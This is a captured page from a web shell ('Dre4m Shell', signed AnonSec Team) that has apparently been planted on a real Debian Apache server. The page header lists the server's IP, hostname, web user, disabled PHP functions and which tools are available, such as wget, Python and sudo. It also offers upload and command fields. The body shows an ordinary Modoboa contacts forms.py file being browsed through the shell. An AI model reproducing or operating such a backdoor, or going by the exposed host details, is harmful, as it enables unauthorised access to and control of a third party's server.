Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 13.59.116.142
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib64/python3.5/site-packages/modoboa_contacts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib64/python3.5/site-packages//modoboa_contacts/forms.py
"""Contacts forms."""

from django import forms
from django.utils import timezone
from django.utils.translation import ugettext_lazy as _

from modoboa.lib import cryptutils
from modoboa.lib import form_utils
from modoboa.lib import signals as lib_signals
from modoboa.parameters import forms as param_forms

from . import tasks


class UserSettings(param_forms.UserParametersForm):
    """User settings."""

    app = "modoboa_contacts"

    sep1 = form_utils.SeparatorField(label=_("Synchronization"))

    enable_carddav_sync = form_utils.YesNoField(
        initial=False,
        label=_("Synchonize address book using CardDAV"),
        help_text=_(
            "Choose to synchronize or not your address book using CardDAV. "
            "You will be able to access your contacts from the outside."
        )
    )

    sync_frequency = forms.IntegerField(
        initial=300,
        label=_("Synchronization frequency"),
        help_text=_(
            "Interval in seconds between 2 synchronization requests"
        )
    )

    visibility_rules = {
        "sync_frequency": "enable_carddav_sync=True"
    }

    def clean_sync_frequency(self):
        """Make sure frequency is a positive integer."""
        if self.cleaned_data["sync_frequency"] < 60:
            raise forms.ValidationError(
                _("Minimum allowed value is 60s")
            )
        return self.cleaned_data["sync_frequency"]

    def save(self, *args, **kwargs):
        """Create remote cal if necessary."""
        super(UserSettings, self).save(*args, **kwargs)
        if not self.cleaned_data["enable_carddav_sync"]:
            return
        abook = self.user.addressbook_set.first()
        if abook.last_sync:
            return
        request = lib_signals.get_request()
        tasks.create_cdav_addressbook(
            abook, cryptutils.decrypt(request.session["password"]))
        if not abook.contact_set.exists():
            abook.last_sync = timezone.now()
            abook.save(update_fields=["last_sync"])

Anon7 - 2022
AnonSec Team